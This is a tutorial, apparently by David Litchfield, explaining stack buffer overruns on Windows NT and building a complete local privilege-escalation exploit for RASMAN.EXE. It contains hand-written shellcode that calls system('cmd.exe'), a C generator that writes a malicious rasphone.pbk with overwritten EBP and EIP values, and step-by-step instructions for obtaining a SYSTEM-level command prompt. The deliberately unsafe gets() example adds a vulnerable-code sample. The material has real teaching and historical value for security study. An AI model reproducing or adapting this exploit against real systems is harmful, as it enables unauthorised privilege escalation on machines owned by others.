Cheers, David Litchfield
#include <stdio.h>
int main ( )
{
char name[31];
printf("Please type your name: ");
gets(name);
printf("Hello, %s", name);
return 0;
}
When this source is compiled and turned into a program and the program is run it will assign a block of memory 32 bytes long to hold the name string. Under normal operation someone would type in their name, for instance "David", and the program would then print to the screen "Hello, David". David is 5 letters long, with each letter taking up a single byte. The end of a string, though, is denoted by a thing called a null terminator - which is basically a byte with a value of zero. So we need to add a null terminator to the end of the string making a total length of 6 bytes. It is clear that 6 bytes will fit into the 32 bytes set aside to store the name string. If however, instead of entering "David", we entered
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
that is 40 capital As, when the program reads in our input and places it in our buffer it overflows. 40 will definitely not fit into 32.
It so happens that if we enter 40 As we completely overwrite the contents of a special CPU register known as the Instruction Pointer or EIP - the E stands for Extended by the way. A quick explanation of a register - a computer's processor has small memory storage units called registers. Access to the values held in these registers is very quick. These registers have special names and can hold memory addresses and variables. The EIP is one of these registers and holds the memory address of the next instruction to execute. What do I mean by instruction? A program contains a list of instructions for the processor to carry out in order for the program to do its job, much like a recipe contains instructions for a cook to carry out in order to make a cake. These instructions are known as operation codes or opcodes for short. So when a program is running and the processor is executing one of the program's instructions the EIP holds the memory address where the next instruction to be executed can be found. After the current instruction has been executed the processor goes to that memory address and pulls in the instruction found there and then increments the EIP and the executes that instruction. This process of pulling the opcode from the memory address pointed to by the EIP, then incrementing the EIP then executing that instruction continues until the program exits.
Going back to our code, the fact that we have overwritten the EIP means that we can effectively tell the CPU to go to a memory address of our choosing and pull down the instruction found there and execute that. Because we are filling the buffer with As we overwrite the EIP with 0x41414141 - 41 is the hex value for a capital A. The processor then goes to address 0x41414141 and tries to read in the instruction found at that address. If there's no instruction there we get a thing known as an Access Violation. Most people will know of this as a message popping up saying something like "The Instruction at '0x41414141' referenced memory at '0x41414141'. The memory could not be read." If we had filled our buffer with Bs we would overwrite the EIP with 0x42424242 essentially telling the processor to go that that memory address to get the next instruction and more than likely we'd get the same Access Violation.
Windows NT, like UNIX systems, require a user to log into the system. Some users are very powerful, such as the Administrator and others are just your average normal user that aren't as powerful. If a normal user wanted to become equivalent to the Administrator and thus just as powerful with almost full control of the system they could exploit a buffer overrun to attain this. The problem is the buffer overrun needs to be in a process that has enough power and privileges to be able to make them an Administrator so there is no point in buffer overruning a process that they, the user themselves, have started. They need to buffer overrun a process started by the system and then get the process to execute their own arbitary code. The system account is very powerful, and if you can get a system process to do something, such as open a Command Prompt, then it will run with system privileges. In Windows NT, if a process starts a new child process then the child process normally inherits the access token of the parent process, normally because some processes can be started using the Win32 CreateProcessAsUser ( ) function that will start the new process under the security context of another user and thus the new process will have a different access token than the parent process. An Access Token is like a set of keys - they denote a user's rights and privileges that determine what they can and cannot do to the machine. An example of this is screen savers. The winlogon.exe system process is responsible for starting a user's screen saver. As oppossed to runing the screen saver in the security context of the system winlogon uses CreateProcessAsUser ( ) to start the screen saver in the security context of the currently logged on user. I digress - back to buffer overruns. In this case study we'll look at the buffer overrun in RASMAN.EXE, a system process, and get it to open a Windows NT Command Prompt. This Command Prompt will have the access token of the system account and so will any other processes started from it. But first a bit more on an NT process' virtual memory layout.
A process embodies many things such as, amongst others, a running program, one or more threads of execution, the process' virtual address space and the dynamic link libraries (DLLs) the program uses. The process has 4 GB of virtual address space to use. Half of this is, from address 0x00000000 to 0x7FFFFFFF, private address space where the program, its DLLs and stack (or stacks in the case of a multihthreaded program) are found and the other half, address 0x80000000 to 0xFFFFFFFF is the system address space where such things as NTOSKRNL.EXE and the HAL are loaded. As a side note, this default behaviour can be changed as of service pack three - you can specify a switch in the boot.ini - /3GB - that will assign 3 GB as private address space and 1 GB as system address space. This is to boost the performance of programs, such as databases, the require large amounts of memory.
When a program is run NT creates a new process. It loads the program's instructions and the DLLs the program uses into the private address space and marks the pages it uses as read-only. Any attempt to modify pages in memory marked as read only will cause an Access Violation. The first thread is started and a stack is initialised.
So too, in a process, the stack is where most things are done. It is a writeable area of memory that dynamically shrinks and grows as is needed or determined by the program's execution. When a programatic task is started it'll place data on the stack, whether these be strings, memory addresses, integers or whatever, then manipulate them and when the task has completed it will return the stack to its original state so that the next task can use it if it needs to. Working in this way the process interacts with the stack using a method known as Last In, First Out or LIFO.
There are two registers that are crucial to the stack's functionality - they are used by the program to keep track of where data can be found in memory. These two registers are the ESP and the EBP.
The ESP, or the Stack Pointer points to the top of the stack. The ESP contains the memory address where the top of the stack can be found. The ESP can be changed in a number of ways both indirectly and directly.When something is PUSHed onto the stack the ESP increases accordingly. When something is POPed off of the stack the ESP shrinks. The PUSH and POP operations modify the ESP indirectly. But then you can manipulate the ESP directly, with say an instruction of "SUB esp,04h" which pushes the stack out by four bytes or one word. For those that haven't yet been numbed into boardem, something may just have irked: how is it that you SUBtract 4 from the ESP and yet the ESP is pushed out? Well this is because the stack works backwards. The bottom of the stack uses a memory address higher than the top of the stack:
----------------0x12121212 Top of the stack ... ... ----------------0x121212FF Bottom of the stack
Here we have definitive proof that the fathers of modern computing were indeed closet sadists or had shares in makers of paracetamol - occasionally they throw in gems like this to make that headache that bit more acute. When we say the stack increases in size the address held in the ESP decreases. Conversly when the stack size decreases the address held in the ESP increases. Reaching for the Asprin yet?
Our second stack related register is known as the EBP or the Base Pointer. The EBP holds then memory address of the bottom of the stack - more accurately it points to a base point in the stack that we can use a reference point within a given programatic task. The EBP must have meaning to a given task and to facilitate this before the task's real business is started a setup procedure known as the "procedure prologue" is first completed. What this does is, firstly, save the current EBP by PUSHing it onto the stack. This is so that the processor and program will know where to pick up from after the currently executing task has completed. The ESP is then copied into the EBP thus creating a new Base Pointer that the currently executing task can use as a reference point irrespective of how the ESP changes during the task's execution. Continuing with this let's say an 11 character string was placed onto the stack - our EBP remains the same but the ESP has been pushed out by 12 bytes. Then say an address was PUSHed onto the stack - our ESP is pushed out by another 4 bytes, though our EBP still remains the same. Now let's say we needed to reference the 11 byte string - we can do this by using our EBP: we know the first byte of our string (the pointer to the string) is twelve bytes away from the EBP so we can reference this string's pointer by saying,"the address found at EBP minus 12". (Remember the stack goes from a higher address to a lower address)
Rather than the placing the opcodes that actually form the system ( ) function in our exploit string it would be easier to simply call it. When you call a function you tell the program to go to a certain DLL that contains the code for the function you are calling. The use of DLLs means that programs can be smaller in size - rather than each program containing the necessary code for each function used they can call a shared DLL that does contain the code. DLLs are said to export functions - that is the DLL provides an address where a function can be found. The DLL also has a base address so the system knows where to find that DLL. When a DLL is loaded into a process' address space it will always be found at that base address and the functions it exports can then be found at an entry point within the base. The system ( ) function is exported msvcrt.dll (the Microsoft Visual C++ Runtime library) which has base address of 0x78000000 and system ( ) entry point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll anyway) meaning that the address of the system ( ) function is 0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's address space - if it isn't we'll need to use LoadLibrary ( ) and GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it is already in the process address space. This makes the job of exploiting the buffer overrun very easy indeed - we'll simply build a stack with our string of the command to run (cmd.exe) and and call it. What makes it even better is that the address 0x780208C3 has no nulls (00) in it. Nulls can really complicate issues.
To find out what the stack needs to look like when a normal program calls system("cmd.exe"); we need to write one that does and debug it. We'll need to get our arbitary code to build a duplicate image of the stack as it appears in our program just before system ( ) is called. Below is the source of our program. Compile and link it with kernel32.lib then run and debug it.
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[8] = "cmd.exe";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
On debugging and examining the stack prior to calling system ( ) [(ProcAdd)(cmdbuf); in the above code] we see that starting from the top of the stack we find the address of the "c" of cmd.exe, then the address of where the system ( ) function can be found, the null terminated cmd.exe string and a few other things that are too important. So to emulate this we need the null terminated "cmd.exe"string in the stack, then the address of the system function and then the address which points to our "cmd.exe" string. Below is a picture of what we need the stack to look like before calling system ( )
-------------------- ESP (Top of the Stack) XX -------------------- XX -------------------- XX -------------------- XX -------------------- C3 -------------------- 08 -------------------- 02 -------------------- 78 -------------------- 63 c -------------------- 6D m -------------------- 64 d -------------------- 2E . -------------------- 65 e -------------------- 78 x -------------------- 65 e -------------------- 00 -------------------- EBP (Bottom of the stack)
where the top 4 XXs are the address of "c". We don't need to hardcode this address into our exploit string because we can use the EBP as a reference - remember it is the base pointer. Later on you'll see that we load the address where the first byte of our cmd.exe string can be found into a register using the EBP as a reference point.
mov esp, ebp
This moves the EBP into the ESP - rember we overwrite the EBP as well as the EIP which is really handy. We'll overwrite the EBP with an address we know we can write to - we will use 0x015DF124. Consequently the ESP, after we move the EBP into it, the top of the stack will be found at 0x015DF124.
We then want to push EBP onto the stack. This is our return address.
push ebp
This has the effect of pushing the ESP down 4 bytes and so ESP is now 0x015DF120. After this we then want to move the ESP into the EBP:
mov ebp,esp
This completes our own procedure prologue. With this done we can go about building the stack the way we want it to look
The next thing we need to do is get some nulls onto the stack. We need some nulls because we need to have our cmd.exe string terminated with a null. Even though the cmd.exe string isn't there yet it will be but we have to do things in reverse order. Before we can push some nulls onto the stack we need to make some. We do this by xoring a register with itself- we'll use the EDI register.
xor edi,edi
This will set the EDI to 00000000 and then we push it onto the stack using
push edi
This also has the added effect of pushing out our ESP to 0x015DF11C. But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far and don't forget we need a null tacked on the end of our string so we need to push the ESP out another 4 bytes to give us a total of 8 bytes of space between the ESP and the EBP. We could push the edi again, but for varitey we'll just sub the ESP by 4.
sub esp,04h
Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is to get cmd.exe written to the stack. To do this we'll use the EBP as a reference point and move 63, the hex value for a small "c" into the address offset from the EBP minus 8.
mov byte ptr [ebp-08h],63h
We do the same for the "m", the "d", the ".", the first"e", the "x" and the final "e".
mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h
Our stack now looks like this:
----------------------------------------------------- ESP 63 c ----------------------------------------------------- 6D m ----------------------------------------------------- 64 d ----------------------------------------------------- 2E . ----------------------------------------------------- 65 e ----------------------------------------------------- 78 x ----------------------------------------------------- 65 e ----------------------------------------------------- 00 ----------------------------------------------------- EBP
All that we need to do now is put the address of system( ) onto the stack and the pointer to our cmd.exe string on top of that - once that is done we'll call the system ( ) function.
We know that the system( ) function is exported at address 0x780208C3 so we'll move this into a register and then push it onto the stack:
mov eax, 0x780208C3 push eax
We then want to put the address of the "c" of our "cmd.exe" string onto the stack. We know that the "c" can be found eight bytes away from our EBP so we'll load the address 8 bytes less than the EBP into a register:
lea eax,[ebp-08h]
The EAX register now holds the address where our cmd.exe string begins. We then want to push this onto the stack:
push eax
With this done our stack is built and we are ready to call system ( ) but we don't call it directly - again we use the indirection of using our EBP as a reference point and call address found at EBP minus 12 (or 0C in hex):
call dword ptr [ebp-0ch]
Here is all our code strung together.
mov esp,ebp push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h mov eax, 0x780208C3 push eax lea eax,[ebp-08h] push eax call dword ptr [ebp-0ch]
The next thing to do is test this assembly to see if it works so we need to write a program that uses the __asm ( ) function. The __asm ( ) function takes Assembly language and incorporates it into a C program. As we are calling system ( ) which is exported by msvcrt.dll we'll need to load that- we use the LoadLibrary ( ) function to do this - otherwise when run our code would fail:
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
mov eax, 0x780208C3
push eax
lea eax,[ebp-08h]
push eax
call dword ptr [ebp-0ch]
}
}
compile and link with kernel32.lib. When run this should start a new instance of the Command Interperter, cmd.exe. There will be an access violation however when you exit that instance in the program though - we've messed around with the stack and haven't clean up after ourselves.
That's it then - that's our arbritary code and all we need to do now is put this into the rasphone.pbk file as our telephone number. Before we can do that though, we need to get the op-codes for the above assembly.
This is relatively easy - just debug the program you've just compiled and get the opcodes from there. You should get "8B E5" for "mov esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes we need to put these in our "telephone number". But we can't type the opcodes very easily in Notepad. The easiest thing to do is write another program that creates a rasphone.pbk file with the telephone number loaded with our arbitary code. Below is an example of such a program with comments:
/* This program produces a rasphone.pbk file that will cause and exploit a buffer overrun in */
/* RASMAN.EXE - it will drop the user into a Command Prompt started by the system. */
/* It operates by re-writing the EIP and pointing it back into our exploit string which calls */
/* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00.7303) on */
/* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[109] to buffer[112]*/
/* in this code to suit your version. msvcrt.dll is already loaded in memory - it is used by */
/* RASMAN.exe. Developed by David Litchfield (mnemonix@globalnet.co.uk ) */
#include <stdio.h>
#include <windows.h>
int main (int argc, char *argv[])
{
FILE *fd;
int count=0;
char buffer[1024];
/* Make room for our stack so we are not overwriting anything we haven't */
/* already overwritten. Fill this space with nops */
while (count < 37)
{
buffer[count]=0x90;
count ++;
}
/* Our code starts at buffer[37] - we point our EIP to here @ address 0x015DF126 */
/* We build our own little stack here */
/* mov esp,ebp */
buffer[37]=0x8B;
buffer[38]=0xE5;
/*push ebp*/
buffer[39]=0x55;
/* mov ebp,esp */
buffer[40]=0x8B;
buffer[41]=0xEC;
/* This completes our negotiation */
/* We need some nulls */
/* xor edi,edi */
buffer[42]=0x33;
buffer[43]=0xFF;
/* Now we begin placing stuff on our stack */
/* Ignore this NOP */
buffer[44]=0x90;
/*push edi */
buffer[45]=0x57;
/* sub esp,4 */
buffer[46]=0x83;
buffer[47]=0xEC;
buffer[48]=0x04;
/* When the system() function is called you ask it to start a program or command */
/* eg system("dir c:\\"); would give you a directory listing of the c drive */
/* The system () function spawns whatever is defined as the COMSPEC environment */
/* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" parameter - in */
/* other words after running the command the cmd.exe process will exit. However, running */
/* system ("cmd.exe") will cause the cmd.exe launched by the system function to spawn */
/* another command prompt - one which won't go away on us. This is what we're going to do here*/
/* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
/* mov byte ptr [ebp-08h],63h */
buffer[49]=0xC6;
buffer[50]=0x45;
buffer[51]=0xF8;
buffer[52]=0x63;
/* write the m to (EBP-7)*/
/* mov byte ptr [ebp-07h],6Dh */
buffer[53]=0xC6;
buffer[54]=0x45;
buffer[55]=0xF9;
buffer[56]=0x6D;
/* write the d to (EBP-6)*/
/* mov byte ptr [ebp-06h],64h */
buffer[57]=0xC6;
buffer[58]=0x45;
buffer[59]=0xFA;
buffer[60]=0x64;
/* write the . to (EBP-5)*/
/* mov byte ptr [ebp-05h],2Eh */
buffer[61]=0xC6;
buffer[62]=0x45;
buffer[63]=0xFB;
buffer[64]=0x2E;
/* write the first e to (EBP-4)*/
/* mov byte ptr [ebp-04h],65h */
buffer[65]=0xC6;
buffer[66]=0x45;
buffer[67]=0xFC;
buffer[68]=0x65;
/* write the x to (EBP-3)*/
/* mov byte ptr [ebp-03h],78h */
buffer[69]=0xC6;
buffer[70]=0x45;
buffer[71]=0xFD;
buffer[72]=0x78;
/*write the second e to (EBP-2)*/
/* mov byte ptr [ebp-02h],65h */
buffer[73]=0xC6;
buffer[74]=0x45;
buffer[75]=0xFE;
buffer[76]=0x65;
/* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x780208C3 */
/* Use QuickView to get the entry point for system() if you have a different */
/* version of msvcrt.dll and change these bytes accordingly */
/* mov eax, 0x780208C3 */
buffer[77]=0xB8;
buffer[78]=0xC3;
buffer[79]=0x08;
buffer[80]=0x02;
buffer[81]=0x78;
/* Push this onto the stack */
/* push eax */
buffer[82]=0x50;
/* now we load the address of our pointer to the cmd.exe string into EAX */
/* lea eax,[ebp-08h]*/
buffer[83]=0x8D;
buffer[84]=0x45;
buffer[85]=0xF8;
/* and then push it onto the stack */
/*push eax*/
buffer[86]=0x50;
/* now we call our system () function - all going well a command prompt will */
/* be started, the parent process being rasman.exe */
/*call dword ptr [ebp-0Ch] */
buffer[87]=0xFF;
buffer[88]=0x55;
buffer[89]=0xF4;
/* fill to our EBP with nops */
count = 90;
while (count < 291)
{
buffer[count]=0x90;
count ++;
}
/* Re-write EBP */
buffer[291]=0x24;
buffer[292]=0xF1;
buffer[293]=0x5D;
buffer[294]=0x01;
/* Re-write EIP */
buffer[295]=0x26;
buffer[296]=0xF1;
buffer[297]=0x5D;
buffer[298]=0x01;
buffer[299]=0x00;
buffer[300]=0x00;
/* Print on the screen our exploit string */
printf("%s", buffer);
/* Open and create a file called rasphone.pbk */
fd = fopen("rasphone.pbk", "w");
if(fd == NULL)
{
printf("Operation failed\n");
return 0;
}
else
{
fprintf(fd,"[Internet]\n");
fprintf(fd,"Phone Number=");
fprintf(fd,"%s",buffer);
fprintf(fd,"\n");
}
return 0;
}
When compiled and run this program will create a rasphone.pbk file with one entry called Internet and a phone number loaded with our arbitary code. When RASMAN.EXE opens this file and it uses RasGetDialParams ( ) to get the relevant information and assigns it to a RAS_DIAL_PARAMS structure which contains the character arrays. As you'll have guessed we're overflowing the one that holds the telephone number.
To be able to get this to work take the following steps:
1) Make a backup copy of your real rasphone.pbk file and then delete the original. The NTFS permissions on this file by default give everybody the Change permission so there shouldn't be a problem with this.
2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You should get a message saying that the phone book is empty and click OK to create a new one.
3) Click OK and make a new entry calling it "Internet". Put in the relevant information needed to be able to dial into your ISP. Once the entry is complete dial it.
4) Once connected open Outlook Express and download your e-mails. The reason for doing this is because this will create a Registry entry for your mail server's domain name and associate it as an autodialable address. If Outlook Express' connection is dial up change it to a LAN connection - this'll be under the mail account's properties.
5) Hangup and close Outlook Express.
6) Copy the delete the new rasphone.pbk and replace it with your one made from the above code.
7) Open Outlook Express.
Because your not connected to the Internet RASMAN should automatically dial for you, read in from the Registry the autodail information then open rasphone.pbk, fill its buffers and overflow. Within about eight seconds or so a Command Prompt window will open. This Command Prompt has SYSTEM privileges.
That's it - we've exploited a buffer overrun and executed our arbitary code.